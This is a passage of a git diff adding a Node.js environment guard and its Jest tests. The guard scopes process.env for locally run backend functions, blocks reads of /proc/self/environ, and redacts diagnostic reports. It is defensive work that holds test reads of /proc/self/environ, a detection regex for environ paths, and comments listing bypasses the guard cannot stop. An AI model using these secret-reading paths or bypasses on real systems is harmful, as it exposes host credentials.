expect(() => constructReadStream('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should not block constructing new fs.ReadStream(...) for an unrelated real file during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-readstream-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + let stream: fs.ReadStream | undefined; + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => { + stream = constructReadStream(tmpFile); + }).not.toThrow(); + }); + } finally { + stream?.destroy(); + fs.rmSync(tmpFile); + } + }); + }); + + describe('process.report.excludeEnv', () => { + // @types/node doesn't declare excludeEnv yet even though Node itself has supported it + // since v22.13.0 — env-guard.ts augments NodeJS.ProcessReport globally, so no cast is + // needed here; this shares that one canonical type instead of its own separate cast. + const processReport = process.report; + + // process.report.getReport()/writeReport() read the OS-level environment table directly, + // bypassing the process.env swap entirely. + test('Should exclude environmentVariables from process.report.getReport() during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const report = process.report.getReport(); + const environmentVariables = + 'environmentVariables' in report ? report.environmentVariables : undefined; + expect(environmentVariables).toBeUndefined(); + }); + }); + + // On Node >=22.13.0, excludeEnv must delegate to Node's OWN native setter, not a disconnected + // JS shadow variable — a shadow would leave the JS-visible value read back correctly while + // having zero effect on what a native, non-JS-triggered report (--report-on-signal etc.) + // actually contains, since that path reads Node's real internal flag directly. Node's native + // setter validates its argument type (throwing for a non-boolean); a disconnected shadow + // would silently accept anything, so this failure mode is observable without needing to + // spawn a subprocess and send it a real signal. + function nodeSupportsNativeExcludeEnv(): boolean { + const [major, minor] = process.version.slice(1).split('.').map(Number); + return major > 22 || (major === 22 && minor >= 13); + } + + function setExcludeEnvToInvalidValue(report: NodeJS.ProcessReport, value: unknown): void { + report.excludeEnv = value as boolean; + } + + test("Should delegate to Node's native excludeEnv setter, not a disconnected JS shadow, on Node versions that have one", () => { + if (!nodeSupportsNativeExcludeEnv()) { + return; + } + const before = processReport.excludeEnv; + try { + expect(() => setExcludeEnvToInvalidValue(processReport, 'not-a-boolean')).toThrow(); + } finally { + processReport.excludeEnv = before; + } + }); + + test('Should reject a customer function reassigning process.report.excludeEnv from inside its own scope', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => { + process.report.excludeEnv = false; + }).toThrow(/not allowed in backend functions/); + }); + }); + + test('Should restore the real excludeEnv value after the scoped-env window closes', async () => { + const before = processReport.excludeEnv; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + + expect(processReport.excludeEnv).toBe(before); + }); + + test("Should not clobber a developer's own excludeEnv=true setting made before the scoped-env window opened", async () => { + const before = processReport.excludeEnv; + processReport.excludeEnv = true; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + expect(processReport.excludeEnv).toBe(true); + } finally { + processReport.excludeEnv = before; + } + }); + + // Exercises the writeReport() JS-level redaction wrap, which is the only thing that strips + // environmentVariables on Node <22.13 (CI pins 20.19.4) — process.report.excludeEnv is a + // no-op there, so this wrap's own redaction is real coverage of current behavior on CI, not + // just on this repo's newer local dev Node version where excludeEnv is natively wired up. + test('Should exclude environmentVariables from process.report.writeReport() during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-report-${process.pid}.json`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.report.writeReport(tmpFile); + }); + + const rawReport = fs.readFileSync(tmpFile, 'utf8'); + const written: { environmentVariables?: unknown } = JSON.parse(rawReport); + expect(written.environmentVariables).toBeUndefined(); + } finally { + fs.rmSync(tmpFile, { force: true }); + } + }); + + // Regression coverage: forceResetEnv() zeroes activeScopeCount unconditionally as a test-only + // backstop. If a zombie scope's own runWithScopedEnv finally fires AFTER forceResetEnv() + // already ran (exactly the ordering a test harness's afterEach can produce against a scope a + // test deliberately left open), an unclamped decrement drives the count negative. Every later + // scope's own increment then lands on 0 instead of 1, so the `=== 1` branch that arms + // excludeEnv protection never fires again for the rest of the process — a future customer + // function's process.report call would go unredacted with no error or warning. + test("Should still arm excludeEnv protection for a later scope after forceResetEnv() races a zombie scope's own decrement", async () => { + let resolveZombie: (() => void) | undefined; + const zombie = runWithScopedEnv({ PATH: '/zombie' }, async () => { + await new Promise((resolve) => { + resolveZombie = resolve; + }); + }); + + forceResetEnv(); + + resolveZombie?.(); + await zombie; + + await runWithScopedEnv({ PATH: '/fresh' }, async () => { + expect(processReport.excludeEnv).toBe(true); + }); + }); + + // Regression coverage: activeScopeCount/excludeEnvArmed are shared by every concurrent scope, + // not per-call. Without resetEpoch, a zombie's own finally firing AFTER forceResetEnv() has + // already run — but WHILE a later, unrelated scope is still active — would decrement and + // restore against that later scope's own state instead of its own, disarming excludeEnv + // protection while that scope's customer function is still running. + test("Should not let a zombie scope's post-forceResetEnv finally disarm excludeEnv for a still-active later scope", async () => { + const before = processReport.excludeEnv; + + let resolveZombie: (() => void) | undefined; + const zombie = runWithScopedEnv({ PATH: '/zombie' }, async () => { + await new Promise((resolve) => { + resolveZombie = resolve; + }); + }); + + forceResetEnv(); + + let resolveLater: (() => void) | undefined; + let excludeEnvMidFlight: boolean | undefined; + const later = runWithScopedEnv({ PATH: '/later' }, async () => { + excludeEnvMidFlight = processReport.excludeEnv; + await new Promise((resolve) => { + resolveLater = resolve; + }); + // Resumed after the zombie's own finally has already fired below — must still see + // itself as protected, not disarmed by the zombie's unrelated, stale cleanup. + return processReport.excludeEnv; + }); + expect(excludeEnvMidFlight).toBe(true); + + resolveZombie?.(); + await zombie; + expect(processReport.excludeEnv).toBe(true); + + resolveLater?.(); + await expect(later).resolves.toBe(true); + expect(processReport.excludeEnv).toBe(before); + }); + }); +}); diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts new file mode 100644 index 000000000..d3640f10b --- /dev/null +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -0,0 +1,583 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global NodeJS, Proxy */ + +import fs from 'fs'; +import { AsyncLocalStorage } from 'node:async_hooks'; +import { syncBuiltinESMExports } from 'node:module'; +import nodePath from 'path'; +import { fileURLToPath } from 'url'; + +import { makeGuardWrapper } from './guarded-wrapper'; +import { getOrCreateShared } from './shared-module-singleton'; + +// Scopes process.env to a from-scratch allowlist during local execution. There's no process +// boundary here to stop customer code from reading the dev server's real environment, including +// its own credentials — production runs each execution in its own Deno subprocess with +// --allow-env, but local execution has no equivalent isolation. This also blocks the +// /proc/.../environ backing-store bypass on Linux, which swapping process.env alone doesn't stop. +// +// Matches network-guard.ts's own framing: no OS sandbox here, so this is JS-level +// defense-in-depth, not a hard security boundary. A native addon reading the real environment via +// libc directly is outside what this file can intercept. So is a callback that escapes its own +// scope's AsyncLocalStorage continuation entirely — a FinalizationRegistry finalizer, for example, +// which Node runs outside any tracked continuation — and reassigns process.env from there. The +// reassignment setter below can only tell that no scope is currently active, which is +// indistinguishable from a legitimate reload happening long after the callback's own scope has +// already concluded. So this doesn't just see stale data: it can adopt attacker-controlled data as +// the new real-environment fallback for every later execution, the same way a plain, untracked +// reassignment could before that setter existed. + +export const SAFE_ENV_KEYS = ['PATH', 'HOME', 'NODE_ENV', 'TMPDIR'] as const; + +// customCredentials is currently always {} — Custom Credential resolution for local execution is still undecided, so those values stay unset here rather than read from the real environment. +export function buildScopedEnv(customCredentials: Record): Record { + const scoped: Record = {}; + for (const key of SAFE_ENV_KEYS) { + const value = process.env[key]; + if (value !== undefined) { + scoped[key] = value; + } + } + return { ...scoped, ...customCredentials }; +} + +/** Everything a re-evaluation of this file needs to share with every other re-evaluation — see getSharedState()'s own comment for why this can't just be module-level `let`s. */ +interface SharedEnvGuardState { + scopedEnvContext: AsyncLocalStorage>; + realEnv: NodeJS.ProcessEnv; + activeScopeCount: number; + savedExcludeEnv: boolean | undefined; + // Bumped by forceResetEnv(). activeScopeCount is shared by ALL concurrent scopes, not per-call — + // without this, a zombie scope's own delayed finally (forcibly closed out by forceResetEnv() + // while still pending) would later apply its decrement/restore against whatever DIFFERENT, + // still-legitimately-running scope has since claimed that same shared state, disarming excludeEnv + // protection out from under it. Each runWithScopedEnv call snapshots this at start and skips its + // own finally's cleanup entirely if it's changed by the time that runs, since forceResetEnv() + // already discharged this call's obligation on its behalf — the only path that can reach + // restoreExcludeEnvIfLastScope() with activeScopeCount === 0 is the one call (a real scope's own + // finally, or forceResetEnv()) that owns the arming from a matching 0→1 transition, so no separate + // "armed" flag is needed to guard against a second, already-discharged call getting through. + resetEpoch: number; + // process.report.excludeEnv already has a native getter/setter of its own (Node validates the + // assigned value there), so "does it already have an accessor" can't tell our guarded version + // apart from Node's own stock one — this is the actual install marker, checked instead. + excludeEnvGuardInstalled: boolean; +} + +// Keyed on the real `fs` module (not a per-module-instance object), via the same +// getOrCreateShared() helper network-guard.ts's own getSharedContext() uses: this file gets +// evaluated more than once — bundled copies and Jest's per-test-file isolation — and every +// evaluation needs the SAME scopedEnvContext/realEnv/activeScopeCount, not its own separate copy. +// Without this, a second evaluation's runWithScopedEnv would populate its own private +// AsyncLocalStorage that the first evaluation's already-installed Proxy (bound to the first +// evaluation's own closures) never consults, so customer code would read the real, unscoped +// environment through that Proxy with no error and no scoping at all. +function getSharedState(): SharedEnvGuardState { + return getOrCreateShared(fs, '@dd/apps-plugin/env-guard shared-state', () => ({ + scopedEnvContext: new AsyncLocalStorage>(), + realEnv: process.env, + activeScopeCount: 0, + savedExcludeEnv: undefined, + resetEpoch: 0, + excludeEnvGuardInstalled: false, + })); +} + +const sharedState = getSharedState(); + +// Symbol.for(), not a plain Symbol() or object-identity check — same cross-module-instance reasoning +// as getSharedState() above: a reference-identity check would fail to recognize another evaluation's +// already-installed Proxy as "already one of these," and each would wrap the other's, looping the +// get/ownKeys/etc. traps into each other forever. +const ENV_PROXY_MARKER = Symbol.for('@dd/apps-plugin/env-guard/scoped-env-proxy'); + +// Takes `unknown`, not NodeJS.ProcessEnv: the setter below calls this on whatever a caller actually +// assigns to process.env at runtime, which TypeScript's parameter typing can't constrain — a bare +// `Reflect.get(value, ...)` throws for null/undefined/primitives, which would surface as a confusing +// native TypeError instead of either this file's own clear rejection message or a graceful no-op. +function isEnvProxy(value: unknown): boolean { + return ( + typeof value === 'object' && value !== null && Reflect.get(value, ENV_PROXY_MARKER) === true + ); +} + +function currentEnv(): Record | NodeJS.ProcessEnv { + return sharedState.scopedEnvContext.getStore() ?? sharedState.realEnv; +} + +// Shared by every Proxy trap below that does nothing but forward to currentEnv() with no extra +// logic of its own — get/has are hand-written instead, since both also short-circuit ENV_PROXY_MARKER. +function forwardToCurrentEnv( + reflectFn: (env: Record | NodeJS.ProcessEnv, ...args: Args) => R, +): (_target: NodeJS.ProcessEnv, ...args: Args) => R { + return (_target, ...args) => { + const env = currentEnv(); + return reflectFn(env, ...args); + }; +} + +// Shared by process.env's own reassignment setter below and process.report.excludeEnv's later in +// this file — both reject a reassignment made BY code running inside its own active scope, so +// trusted reassignment from outside any scope (a test's own isolation swap, a dotenv-style tool) +// keeps working exactly as before, even while some OTHER, unrelated scope happens to be +// concurrently active. +function assertNotInsideActiveScope(errorMessage: string): void { + if (sharedState.scopedEnvContext.getStore() !== undefined) { + throw new Error(errorMessage); + } +} + +// Re-checked on every runWithScopedEnv call rather than installed once and assumed permanent, since +// isEnvProxy() is what actually detects "is this already installed" — the accessor property below +// makes a bare `process.env = X` (rather than a call through this function) impossible to reach the +// real Proxy install path with, but this function still needs to stay idempotent across every +// evaluation of this file (bundled copies, Jest's per-test-file isolation) that calls it. +function ensureEnvProxyInstalled(): void { + if (isEnvProxy(process.env)) { + return; + } + sharedState.realEnv = process.env; + const proxy = new Proxy(sharedState.realEnv, { + get: (_target, prop, receiver) => { + if (prop === ENV_PROXY_MARKER) { + return true; + } + const env = currentEnv(); + return Reflect.get(env, prop, receiver); + }, + set: forwardToCurrentEnv(Reflect.set), + has: (_target, prop) => { + const env = currentEnv(); + return prop === ENV_PROXY_MARKER || Reflect.has(env, prop); + }, + deleteProperty: forwardToCurrentEnv(Reflect.deleteProperty), + ownKeys: forwardToCurrentEnv(Reflect.ownKeys), + getOwnPropertyDescriptor: forwardToCurrentEnv(Reflect.getOwnPropertyDescriptor), + defineProperty: forwardToCurrentEnv(Reflect.defineProperty), + // Without this trap, Object.setPrototypeOf(process.env, ...) defaults to forwarding to + // `target` (the real, unscoped env object) and silently poisons its prototype chain + // permanently, even when called from inside a scope — since currentEnv() only affects + // property access, not the object identity a prototype mutation lands on. + setPrototypeOf: forwardToCurrentEnv(Reflect.setPrototypeOf), + // Paired with setPrototypeOf above: without this trap, a customer function that sets a + // scoped prototype and immediately reads it back would see `target`'s (the real env's) + // untouched prototype instead of the one it just set on the scoped view. + getPrototypeOf: forwardToCurrentEnv(Reflect.getPrototypeOf), + // Can't forward to currentEnv() like the other traps: the Proxy invariants require that a + // `preventExtensions` trap returning `true` only be honored if `target` itself (the real env + // object, always passed in as `target` regardless of what currentEnv() resolves to) is + // ALSO already non-extensible — so routing this to the scoped object would either silently + // do nothing (the real env stays extensible, engine throws on the next ownKeys call as the + // target/trap-result mismatch is detected) or require actually freezing the real env to + // satisfy the invariant, which would break it process-wide. Refusing outright is the only + // option that can't leak real-env state or brick the proxy either way. No isExtensible trap + // is needed alongside it: the default (untrapped) behavior already forwards to `target`, + // which stays truthfully extensible since preventExtensions never actually mutates it. + preventExtensions: () => false, + }); + // process.env is defined as an accessor property, not left as the plain, freely-reassignable + // data property it started as — a bare `process.env = X` replaces `process`'s own `env` + // property outright rather than going through any trap on the object those traps guard, so + // without this, a customer function could wholesale-replace process.env from inside its own + // scope with no error, and the NEXT runWithScopedEnv call's ensureEnvProxyInstalled() would then + // silently adopt that customer-controlled object as the new realEnv fallback — corrupting every + // later, unrelated execution's own safe-allowlisted view with attacker-supplied data. + // configurable: false so nothing can later strip this accessor back to a plain data property. + Object.defineProperty(process, 'env', { + configurable: false, + enumerable: true, + get: () => proxy, + set: (newValue: NodeJS.ProcessEnv) => { + // A no-op: something captured process.env (getting this same proxy back, e.g. a test's + // own `const saved = process.env; ...; process.env = saved;` restore pattern) and wrote + // it back unchanged. Must short-circuit before the realEnv assignment below — adopting + // the proxy as its own currentEnv() fallback would make every future unscoped read + // resolve back through this same trap, recursing forever. + if (isEnvProxy(newValue)) { + return; + } + assertNotInsideActiveScope( + "Reassigning process.env is not allowed in backend functions — it would corrupt the dev server's real environment for every future execution. Use $.Source or a declared Custom Credential instead.", + ); + sharedState.realEnv = newValue; + }, + }); +} +ensureEnvProxyInstalled(); + +// /proc/thread-self is a symlink to /proc/self/task/, so its realpath-resolved form carries +// an extra /task/ segment that /proc/self and /proc/ never do. +const ENVIRON_PATH_RE = new RegExp( + `^/proc/(self|thread-self|${process.pid})(/task/\\d+)?/environ$`, +); + +// Structural check, not `instanceof Error`: Node's native fs errors can cross a realm boundary +// (e.g. Jest's per-test-file VM sandboxing) where `instanceof Error` is false even though the +// object is a genuine error with a real `.code`, which would otherwise silently misroute a normal +// ENOENT into a fail-closed branch instead of its intended graceful fallback. +function isErrnoException(error: unknown): error is NodeJS.ErrnoException { + return typeof error === 'object' && error !== null && 'code' in error; +} + +// fs path arguments can legally be a string, a Buffer, or a file:// URL — checking only the string +// case let a Buffer/URL argument to any of the guarded functions bypass the check entirely. +function toPathString(rawPath: unknown): string | undefined { + if (typeof rawPath === 'string') { + return rawPath; + } + if (Buffer.isBuffer(rawPath)) { + return rawPath.toString(); + } + if (rawPath instanceof URL) { + return fileURLToPath(rawPath); + } + if (typeof rawPath === 'number' && process.platform === 'linux') { + // fs.readFileSync/open and friends also accept an already-open fd in place of a path — + // /proc/self/fd/ is a Linux-only symlink to whatever that fd actually points at, which + // lets the realpath-based resolution below see through to the real target the same way it + // already does for a symlink passed as a literal path. Off Linux there's no portable way to + // recover a fd's path at all, so a numeric fd is simply never path-like enough to check — + // matching this file's existing environ-guard tests, which are Linux-only for the same + // /proc-specific reason. Only ENOENT (the fd genuinely doesn't exist) falls back to "not + // path-like" — any other failure (EACCES, ELOOP, ...) means the real target can't be + // verified, so it's re-thrown rather than silently treating an unverifiable fd as safe, + // matching isEnvironPath's identical fail-closed handling of realpathSync below. + try { + return fs.readlinkSync(`/proc/self/fd/${rawPath}`); + } catch (error) { + if (isErrnoException(error) && error.code === 'ENOENT') { + return undefined; + } + throw error; + } + } + return undefined; +} + +function isEnvironPath(rawPath: unknown): boolean { + const pathString = toPathString(rawPath); + if (pathString === undefined) { + return false; + } + // Resolved via realpathSync first, not just normalized: a symlink pointing at /proc/.../environ + // has its own, unrelated literal path, so matching only the (even normalized) literal string + // would let a backend function read the real environment straight through a symlink it created + // itself — fs.readFileSync and friends follow symlinks transparently. Falls back to + // normalize-only when the path doesn't exist yet (ENOENT, e.g. a new file being created) — a + // nonexistent path can't be /proc/.../environ anyway. Any other realpathSync failure (EACCES, + // ELOOP, ...) means the real target can't be verified, so it's re-thrown rather than silently + // falling through to an unresolved literal match a symlink could bypass — the caller (the real + // fs function about to run) would hit the identical error anyway, so this only changes WHEN it + // surfaces, not whether the read is denied, and avoids masking an unrelated permission/loop error + // behind a misleading "environ" message. + let resolvedPath: string; + try { + resolvedPath = fs.realpathSync(pathString); + } catch (error) { + if (isErrnoException(error) && error.code === 'ENOENT') { + resolvedPath = nodePath.posix.normalize(pathString); + } else { + throw error; + } + } + return ENVIRON_PATH_RE.test(resolvedPath); +} + +const ENVIRON_READ_BLOCKED_MESSAGE = + "Reading /proc/.../environ is not allowed in backend functions — it exposes the dev server's real, unscoped environment. Use $.Source or a declared Custom Credential instead."; + +// Per-continuation, like currentEnv() above: only the specific continuation currently inside its +// own scope pays this check, so it can't fire for unrelated code (Vite's own internals, a sibling +// execution) running concurrently on a different continuation that isn't scoped at all. A pure +// predicate (rather than throwing itself) so it can also serve as makeGuardWrapper's shouldBlock. +function isBlockedEnvironPath(rawPath: unknown): boolean { + return sharedState.scopedEnvContext.getStore() !== undefined && isEnvironPath(rawPath); +} + +function throwIfBlockedEnvironPath(rawPath: unknown): void { + if (isBlockedEnvironPath(rawPath)) { + throw new Error(ENVIRON_READ_BLOCKED_MESSAGE); + } +} + +// A FileHandle exposes its underlying fd as a plain number via its own .fd property. +function extractFdNumber(fdValue: unknown): unknown { + if (typeof fdValue === 'object' && fdValue !== null && 'fd' in fdValue) { + return fdValue.fd; + } + return fdValue; +} + +// createReadStream/ReadStream's options.fd (a raw fd number, or a FileHandle whose own .fd is one) +// makes Node read from that fd directly and ignore the leading path argument entirely — a plain +// throwIfBlockedEnvironPath(rawPath) would never see the real target when it's passed this way instead. +// Returns a safe options object to actually pass to the real call in place of the caller's own: +// options.fd could be an accessor property whose getter returns a harmless value the one time this +// check reads it and a different, real target the next time Node's own implementation separately +// reads the same property — captured into a plain data property here, options.fd can only ever be +// read as the exact value that was already checked. +function guardEnvironPathOrFdOption(rawPath: unknown, options: unknown): unknown { + throwIfBlockedEnvironPath(rawPath); + if (typeof options !== 'object' || options === null || !('fd' in options)) { + return options; + } + const fdValue = options.fd; + throwIfBlockedEnvironPath(extractFdNumber(fdValue)); + return { ...options, fd: fdValue }; +} + +// Every guarded fs entry point below except createReadStream takes only a leading path argument +// and forwards the rest unchanged — wraps that shared shape once instead of repeating it per +// function, via the same makeGuardWrapper network-guard.ts uses, with isBlockedEnvironPath as the +// argument-dependent shouldBlock (network-guard.ts's own uses are all argument-independent). Sync +// and callback-style functions (readFileSync, readFile, openSync, open) must throw synchronously on +// a guard failure, matching their real Node contract and what callers of a sync API expect. +function wrapGuardedFsFn unknown>(real: T): T { + return makeGuardWrapper( + () => real, + (rawPath) => isBlockedEnvironPath(rawPath), + ENVIRON_READ_BLOCKED_MESSAGE, + 'throw', + ); +} + +// fs.promises.* functions must reject rather than throw synchronously on a guard failure, matching +// their real Promise-returning contract. +function wrapGuardedAsyncFsFn Promise>(real: T): T { + return makeGuardWrapper( + () => real, + (rawPath) => isBlockedEnvironPath(rawPath), + ENVIRON_READ_BLOCKED_MESSAGE, + 'reject', + ); +} + +// createReadStream is the one guarded entry point whose second (options) argument can itself carry +// the real read target via options.fd, bypassing whatever the leading path argument says — every +// other function this file guards only ever reads from its own leading path argument. +function wrapGuardedStreamFn unknown>(real: T): T { + const wrapped = (...args: Parameters): ReturnType => { + const safeOptions = guardEnvironPathOrFdOption(args[0], args[1]); + const safeArgs = [args[0], safeOptions] as Parameters; + return real(...safeArgs) as ReturnType; + }; + return wrapped as T; +} + +// open/openSync/promises.open are separate entry points that map a path to a file descriptor +// without going through readFile*, so they need the same guard. +fs.readFileSync = wrapGuardedFsFn(fs.readFileSync); +fs.readFile = wrapGuardedFsFn(fs.readFile); +fs.promises.readFile = wrapGuardedAsyncFsFn(fs.promises.readFile); +fs.createReadStream = wrapGuardedStreamFn(fs.createReadStream); +fs.openSync = wrapGuardedFsFn(fs.openSync); +fs.open = wrapGuardedFsFn(fs.open); +fs.promises.open = wrapGuardedAsyncFsFn(fs.promises.open); + +// copyFileSync/copyFile/promises.copyFile/cpSync/promises.cp read the source file's bytes through +// a distinct native binding that never calls through readFile*/open* above — an uncovered path that +// could otherwise copy /proc/.../environ to an ordinary, unguarded file and read it back from there. +fs.copyFileSync = wrapGuardedFsFn(fs.copyFileSync); +fs.copyFile = wrapGuardedFsFn(fs.copyFile); +fs.promises.copyFile = wrapGuardedAsyncFsFn(fs.promises.copyFile); +fs.cpSync = wrapGuardedFsFn(fs.cpSync); +fs.cp = wrapGuardedFsFn(fs.cp); +fs.promises.cp = wrapGuardedAsyncFsFn(fs.promises.cp); + +// createReadStream's own wrap above only covers that factory function — Node also exports the +// ReadStream class it constructs internally, and `new fs.ReadStream(path)` never calls through +// createReadStream at all. @types/node declares no explicit constructor for ReadStream (it inherits +// Readable's), so a subclass can't be typed against its real (path, options) signature — a Proxy's +// construct trap guards the same entry point without needing that signature at all. `new Proxy` +// is itself typed to return T given a T target, so no cast is needed on the assignment either. +fs.ReadStream = new Proxy(fs.ReadStream, { + construct(target, args, newTarget) { + const safeOptions = guardEnvironPathOrFdOption(args[0], args[1]); + return Reflect.construct(target, [args[0], safeOptions], newTarget); + }, +}); + +// @types/node doesn't declare excludeEnv yet. It's real, but only wired up to the native report +// generator from Node v22.13.0 — CI pins Node 20.19.4, where setting it is a silent no-op, so it +// alone doesn't close this gap on every Node version this repo supports. Kept anyway: on versions +// that do support it, it also covers reports Node generates on its own via --report-on-fatalerror/ +// --report-on-signal, which the getReport()/writeReport() wraps below can't reach since no JS call +// happens for those. Augmented globally (rather than cast with `as unknown as`) so every consumer, +// including this file's own test, shares one canonical type instead of independently-typed casts. +declare global { + namespace NodeJS { + interface ProcessReport { + excludeEnv?: boolean; + } + } +} +const processReport = process.report; + +// excludeEnv already has its own native getter/setter on Node >=22.13.0 (Node validates the assigned +// value there) — but that setter has no concept of "a customer function's own scope," so nothing +// stops one from flipping it back off with `process.report.excludeEnv = false` from inside its own +// scope, silently disarming the protection runWithScopedEnv below just armed for that same scope. +// Guarded the same way process.env is: redefined as an accessor whose setter only rejects a +// reassignment made BY code running inside its own active scope, so +// runWithScopedEnv's/restoreExcludeEnvIfLastScope's own arm/disarm (both always run from outside any +// scope — see runWithScopedEnv's own comment) pass through untouched. Wraps Node's own native +// get/set (when present) rather than replacing them with a plain JS variable: the native +// report-generator triggered by --report-on-fatalerror/--report-on-signal reads its own internal +// flag directly, not this property, so a plain-variable shadow would read back whatever value was +// last written yet have zero effect on what those native, non-JS-triggered reports actually contain +// — wrapping keeps that real, underlying flag in sync, and picks Node's own value-validation back up +// as a side effect. Installed only once (tracked via sharedState.excludeEnvGuardInstalled, not a +// descriptor check — Node's own native accessor already has a getter, so "does it have one" can't +// tell that apart from our own already being installed): this file's top-level code re-runs on every +// evaluation (bundled copies, Jest's per-test-file isolation), and process.report is a true +// singleton, not the getSharedState()-style per-installation object above — a second +// Object.defineProperty on an already-configurable:false accessor would throw. +function guardedExcludeEnvSetter(applyNewValue: (newValue: boolean | undefined) => void) { + return (newValue: boolean | undefined) => { + assertNotInsideActiveScope( + "Reassigning process.report.excludeEnv is not allowed in backend functions — it would let a backend function's own diagnostic report include the dev server's real environment. This is armed automatically for the duration of the function's execution.", + ); + applyNewValue(newValue); + }; +} + +if (!sharedState.excludeEnvGuardInstalled) { + const nativeExcludeEnvDescriptor = Object.getOwnPropertyDescriptor(processReport, 'excludeEnv'); + let excludeEnvGet: () => boolean | undefined; + let applyExcludeEnvValue: (newValue: boolean | undefined) => void; + if (nativeExcludeEnvDescriptor?.get && nativeExcludeEnvDescriptor.set) { + excludeEnvGet = nativeExcludeEnvDescriptor.get.bind(processReport); + applyExcludeEnvValue = nativeExcludeEnvDescriptor.set.bind(processReport); + } else { + // Node <22.13.0 (CI pins 20.19.4): no native accessor exists yet, so there's no real flag + // to keep in sync — a plain shadow variable is enough to guard reassignment, even though + // reading or writing it has no effect on report generation on this version either way. + let excludeEnvValue: boolean | undefined = processReport.excludeEnv; + excludeEnvGet = () => excludeEnvValue; + applyExcludeEnvValue = (newValue) => { + excludeEnvValue = newValue; + }; + } + Object.defineProperty(processReport, 'excludeEnv', { + configurable: false, + enumerable: true, + get: excludeEnvGet, + set: guardedExcludeEnvSetter(applyExcludeEnvValue), + }); + sharedState.excludeEnvGuardInstalled = true; +} + +type ReportLike = Record & { environmentVariables?: unknown }; + +// process.report.getReport()'s declared return type is a bare `object`, carrying no shape +// information — this predicate narrows it without an `as` cast. +function hasEnvironmentVariables(report: object): report is ReportLike { + return 'environmentVariables' in report; +} + +// Preserves the original's exact (possibly-overloaded) type on the returned wrapper, the same +// reasoning as wrapGuardedFsFn/wrapGuardedAsyncFsFn above, so getReport/writeReport below can +// reassign with no cast — `implementation` receives the original as its first argument rather than +// closing over it, since each wrap's own logic differs and can't share one generic body. +function wrapReportFn unknown>( + original: T, + implementation: (original: T, ...args: Parameters) => ReturnType, +): T { + const wrapped = (...args: Parameters): ReturnType => implementation(original, ...args); + return wrapped as T; +} + +// Strips environmentVariables at the JS level so a customer function's own getReport()/ +// writeReport() call is redacted on every supported Node version, not just where excludeEnv is +// wired up. writeReport() lets Node handle filename generation/defaults as normal, then +// post-processes the file it actually wrote rather than reimplementing its naming convention. +const originalGetReport = process.report.getReport.bind(process.report); +process.report.getReport = wrapReportFn(originalGetReport, (original, ...args) => { + const report = original(...args); + if (sharedState.activeScopeCount > 0 && hasEnvironmentVariables(report)) { + delete report.environmentVariables; + } + return report; +}); + +const originalWriteReport = process.report.writeReport.bind(process.report); +process.report.writeReport = wrapReportFn(originalWriteReport, (original, ...args) => { + const filename = original(...args); + if (sharedState.activeScopeCount > 0) { + const rawReport = fs.readFileSync(filename, 'utf8'); + const report: ReportLike = JSON.parse(rawReport); + delete report.environmentVariables; + const serializedReport = JSON.stringify(report, null, 2); + fs.writeFileSync(filename, serializedReport); + } + return filename; +}); + +// installGuardedProperty in network-guard.ts only patches the CJS-style default-export object; +// Node keeps ESM named bindings (e.g. `import { readFileSync } from 'node:fs'`) as separate +// references that stay bound to the original native functions otherwise. +syncBuiltinESMExports(); + +// Shared by runWithScopedEnv's finally and forceResetEnv's own reset, so the two restore paths +// can't drift apart. No separate "armed" flag guards this against a second, already-discharged +// call: the resetEpoch check in runWithScopedEnv's finally (see its own comment) means a stale +// zombie scope can no longer reach this function at all once forceResetEnv() has run, rather than +// merely being neutralized after arriving — so by the time anything calls this with +// activeScopeCount === 0, it's always the one call that owns a matching 0→1 arm to restore from. +function restoreExcludeEnvIfLastScope(): void { + if (sharedState.activeScopeCount === 0) { + processReport.excludeEnv = sharedState.savedExcludeEnv; + sharedState.savedExcludeEnv = undefined; + } +} + +// Wraps only the customer function's own call in local-execution.ts's runScriptLocally, matching runBlocked's scope exactly. +export async function runWithScopedEnv( + scopedEnv: Record, + fn: () => Promise, +): Promise { + ensureEnvProxyInstalled(); + const myResetEpoch = sharedState.resetEpoch; + sharedState.activeScopeCount += 1; + if (sharedState.activeScopeCount === 1) { + // process.report.getReport()/writeReport() read the OS-level environment table directly, + // bypassing the process.env Proxy above entirely — the wraps above cover JS-triggered calls + // on every Node version; this also sets excludeEnv for the auto-triggered case on versions + // that support it (see the wraps' own comment for why both exist). + sharedState.savedExcludeEnv = processReport.excludeEnv; + processReport.excludeEnv = true; + } + try { + return await sharedState.scopedEnvContext.run(scopedEnv, fn); + } finally { + // Skipped once forceResetEnv() has bumped resetEpoch since this call started: that means + // this call's own decrement/restore obligation was already forcibly discharged, and the + // shared activeScopeCount now belongs to a different, later scope — touching it here would + // disarm that scope's still-active protection instead of this one's. + if (sharedState.resetEpoch === myResetEpoch) { + // Clamped at 0, not a bare decrement, as defense in depth against any other path that + // might desync the count from the number of genuinely open scopes. + sharedState.activeScopeCount = Math.max(0, sharedState.activeScopeCount - 1); + restoreExcludeEnvIfLastScope(); + } + } +} + +// Defensive reset for process.report's reference count only — process.env itself never needs +// forcing back, since scopedEnvContext resolves each continuation independently and a zombie's +// still-open scope was never shared global state to begin with. Used by env-guard.test.ts's own +// afterEach as a hard backstop against a test that left activeScopeCount incremented (e.g. one that +// exercises timeout/abandonment without ever letting its own runWithScopedEnv call settle). +export function forceResetEnv(): void { + if (sharedState.activeScopeCount > 0) { + sharedState.activeScopeCount = 0; + // Invalidates every currently-open scope's own pending finally (see resetEpoch's own + // comment) — each one now finds resetEpoch has moved past its own snapshot and skips + // touching this state entirely, leaving it exclusively to whatever scope starts next. + sharedState.resetEpoch += 1; + restoreExcludeEnvIfLastScope(); + 